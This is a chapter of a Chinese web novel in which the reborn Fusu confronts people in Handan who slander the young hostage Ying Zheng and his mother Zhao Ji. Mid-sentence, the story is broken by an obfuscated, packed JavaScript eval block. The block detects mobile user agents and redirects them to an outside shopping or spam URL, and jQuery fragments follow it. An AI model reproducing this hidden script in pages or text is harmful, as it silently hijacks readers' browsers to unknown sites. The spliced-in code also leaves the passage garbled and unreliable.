5. 侮辱
作品:《扶苏,但重生到嬴政质子时》 被围在中心的是一个不过四五岁的孩童,衣着华丽,袖口与领缘缝着细软的貂毛,腰间系一条玉带,莹润透光。
他眉宇间溢满了被骄纵豢养出的矜贵,歪着脑袋,支着耳朵,听一个刚躬身进来的仆人压低声音禀报。
仆从语速飞快,带着讨好的笑:
“公子,您是没瞧见,那秦崽子今天可神气起来了!”
“不知从哪儿冒出来个生面孔的年轻人,瞧着像个贵介,替他出了头,还说什么……说什么折辱质子有损赵国声名,唬得守门的王五他们一愣一愣的,竟真给让开了路!”
赵偃原本无聊的拨弄着玉带上垂下来的一颗珠子,听到这儿,手上动作停了。
“生面孔?什么样的人,敢替那秦崽子说话?”
他的声音尚显稚嫩,语调却已有了居高临下的味道。
“回公子,瞧着约莫不到二十,穿白衣,口音听着……不像咱赵人,也不全像秦人,怪得很。”仆人忙不迭的描述。
“他自称叫什么……扶苏?对,是这个名字。”
“扶苏……”
赵偃重复了一遍,皱了皱鼻子,觉得这名字有些拗口,随即又不当回事的撇嘴,“没听说过,哪来的阿猫阿狗也敢跑到邯郸充人物?”
旁边一个年纪稍长的侍从递上一盏温好的蜜浆,小声劝道:“公子何必为这种事费神?”
“不过是个来路不明的外人,许是途经此地,不知深浅,胡乱说了几句大话而已,那秦质子能有什么倚仗?苟延残喘罢了。”
赵偃接过蜜浆,抿了一小口。
“说的是,一个早晚要死的秦孽,一个多管闲事的过客。”
他撇了撇嘴,黑亮的眼珠转了转,露出恶劣的兴味,“不过……倒是有点意思,那秦崽子平日里闷不吭声像个锯嘴葫芦,今天居然也有人替他挡横了?”
他在柔软的织毯上踱了两步。
“去,让人盯着点那个破巷子,还有那个叫什么扶苏的。”
赵偃抬了抬下巴,吩咐道,“看看他们还有什么往来,那外乡人住在何处,既然喜欢多事,本公子倒要瞧瞧他能管到几时。”
“是,公子。”仆人躬身退了出去。
*
天色亮了起来。
扶苏在客栈大堂用了些简单的朝食,粟米粥温热,配一碟腌葵菹,没什么滋味,但也够了。
他特意多要了几个蒸饼,拿干净麻布包好,又向店家买了些新鲜菜蔬和一小块肉,打算一并给嬴政母子带去。
起身要走的时候,大堂里零星坐了几桌客人,多是行商脚夫的打扮,围着陶盆炭火就着热汤啃干粮,低声聊着闲话。
扶苏本想径直出门,耳朵却捕捉到质子、妇人几个字眼,脚步一下子顿住了。
说话的是个穿着半旧羊皮袄的汉子,面膛黝黑,唾沫横飞地对同桌几人道:
“……就住在那条死巷子最里头!前日我还瞧见那小崽子,大雪天背着捆柴,冻得跟个鹌鹑似的,啧啧,哪有点王孙的样儿?”
另一人嗤笑出声。
“王孙?丧家犬还差不多!他爹在咸阳享福,哪里还记得这丢在赵国的老婆孩子?要我说,当年长平……哼,留下这种孽种,本就是祸害!”
“可不是么,”又一个尖细的声音接口,满嘴恶意,“听说那赵姬也不是什么安分的,当年……嘿嘿,不然能跟了那秦国的落魄公子?如今被扔在这儿,指不定……”
下流话混着猥琐的低笑,在炭火噼啪声里格外刺耳。
扶苏站在柜台边,握着包裹的手指一点点收紧,骨节泛出青白。
他蓦然转过身,几步走到那桌前。
桌边几人正说得起劲,冷不防一个面生的白衣青年站到面前,脸色铁青,目光冰冷的扫过来,一个个都愣住了。
“几位,饭可以乱吃,话不可乱说。”
扶苏盯着那个说得最不堪的尖脸汉子。
“秦赵之事自有国法邦交,稚子何辜,妇人病弱,更非尔等可以肆意编排羞辱。”
“你们如此背后嚼舌,与市井长舌者何异?就不怕祸从口出?”
尖脸汉子被他气势所慑,瑟缩了一下,但很快在同伴目光下恼羞成怒,梗着脖子嚷嚷:
“你谁啊,管得着吗?爷们儿说闲话,碍着你什么事了?那秦崽子是你爹还是你儿子,要你这么护着?”
旁边几人也反应过来了,跟着帮腔:
“就是!一个外乡人,在邯郸地界充什么人物?”
“我们说的哪句不是实话?那赵姬若不是……能落到这步田地?那小崽子谁知道是不是野……”
“砰!”
闷响打断了污言秽语。
扶苏一掌拍在桌面上,粗糙的木头震了一震,陶碗跳了跳,汤汁洒出来。
他胸膛起伏,怒火烧心,快要喷薄而出。
他想厉声斥责,告诉他们,你们口中可以随意践踏的小崽子将来会结束这数百年的兵祸离乱,建立起一个前所未有的庞大帝国,让九州之地第一次真正凝为一体。
你们肆无忌惮侮辱的妇人,是未来大秦的太后,轮不到你们在此狺狺狂吠。
但这些话都不能说。
所有想说的东西堵在嗓子眼里,咽不下去也吐不出来,化成一股闷在胸腔里的燥热,烧得他五脏六腑都在疼。
那几人被这一掌拍得不敢吱声了。
掌柜的见势不妙,连忙小跑过来打圆场:
“哎哟,几位客官,少说两句,少说两句!天寒地冻的,喝口热汤暖暖身子才是正经!这位客官您也消消气,他们就是嘴贱,别跟他们一般见识……”
扶苏闭了闭眼。
他知道与这些人争辩毫无意义,不过是徒增恶心。
他最后冷冷地扫了那几人一眼,目光中的寒意让几人不由自主地避开了视线。
扶苏没再回头,大步走出客栈。
冷风迎面灌过来,吹得脸生疼,可胸口那口闷气怎么也散不掉。
他提着东西,沿着昨天记住的路,快步往那条偏僻的里巷走去。
脚步越来越快,仿佛想将身后那些污浊的议论彻底甩脱。
来到那扇木门前,扶苏站定,连着深吸了好几口气,使劲把脸上的表情理平了,这才抬手敲门。
门很快开了。
嬴政站在门里头,小脸在晨光下比昨天看着多了点气色。
他看向扶苏,目光在他脸上停留了一瞬,黑眸中波动浮现。
“扶苏先生。”
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330088|199066||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
侧身让开,视线落在扶苏手里的包裹上。
扶苏进了屋,把东西搁到小几上,一边解包裹一边尽量让自己的声音听着跟平时一样:
“我带了朝食来,是客栈的蒸饼还有些菜和肉,中午可以煮了吃,你母亲今日可好些了?”
麻布打开,露出白软的蒸饼和新鲜的菜肉。
嬴政走到榻边看了看。
赵姬刚醒不久,靠在榻上,脸色还是白,但眼神清亮了不少,看见是扶苏,她笑了一下。
“先生来了……我觉着松快多了,昨夜吃了药,后半夜就没再烧。”
“那就好,风寒退热就是在好转,咳嗽还得养。”扶苏走过去,很自然地伸手探了探赵姬的额温,确实已不似昨日烫手。
他又问了问夜里的情况,嘱咐了几句吃喝上要注意什么。
赵姬一一应了,看向扶苏的眼神充满了感激。
嬴政站在旁边,视线若有若无的一直跟着扶苏。
他敏锐地察觉到今日的扶苏先生有点不对劲,眉宇间笼着一层郁色,像是在为什么事情生气,强行压抑着。
来的路上……遇到什么事了么?
嬴政垂下眼帘,掩去眸中的思索。
扶苏把蒸饼分给赵姬和嬴政,自己也拿了一个慢慢吃着,嘴在嚼东西,脑子却控制不住的还在转客栈里那些话。
就在这时候,门外巷子里传来脚步声和说话声。
“……真晦气,跟那家子住得近,怕是都要沾上穷酸气和晦气!”
“谁说不是呢,听说那妇人病了?可别是什么不好的病,传过来……”
“嘘,小点声,那秦崽子耳朵尖着呢……”
“怕什么?听见了又能怎样?一个没爹的野种,还能翻了天去?”
恶毒的话隔着薄薄的土墙和门板,一句一句的飘进来。
扶苏拿着蒸饼的手僵在半空,刚压下去的火气又腾的一下蹿上来,脸色一瞬间就不好看了。
他抬眼看向门口,胸脯微微起伏。
坐在榻上的赵姬也听到了,她身体一颤,脸上血色褪尽,嘴唇哆嗦着,眼中涌上难堪悲愤的泪光,咬住下唇没有发出声音。
嬴政放下了手中的蒸饼。
他抬眼看向扶苏,黑沉沉的眼睛里没有半分意外,什么都明白了。
“先生方才来时……也听到了类似的话,是吗?”
扶苏一愣,对上嬴政的目光,这才意识到自己那点不自然早已被这孩子看在眼里。
他不想让嬴政担心,更不想当着赵姬的面提那些脏话让她的病雪上加霜,下意识想否认:“没有,我……”
“先生不必瞒我。”
嬴政打断了他。
“这些话我听过很多,母亲也听过很多,起初会怒会怕,后来便习惯了,与他们争辩就是对牛弹琴徒劳无功,反惹一身腥臊。”
他走到灶台边,拿起水罐倒了半碗温水,端到赵姬手边。
然后转过身来。
“对付这种人,讲道理是无用的,他们只认得一种东西。”
“先生想知道,用什么特殊的法子才能让他们闭嘴吗?”
扶苏怔住了。
他望着眼前年仅五岁的嬴政。
“什么法子?”

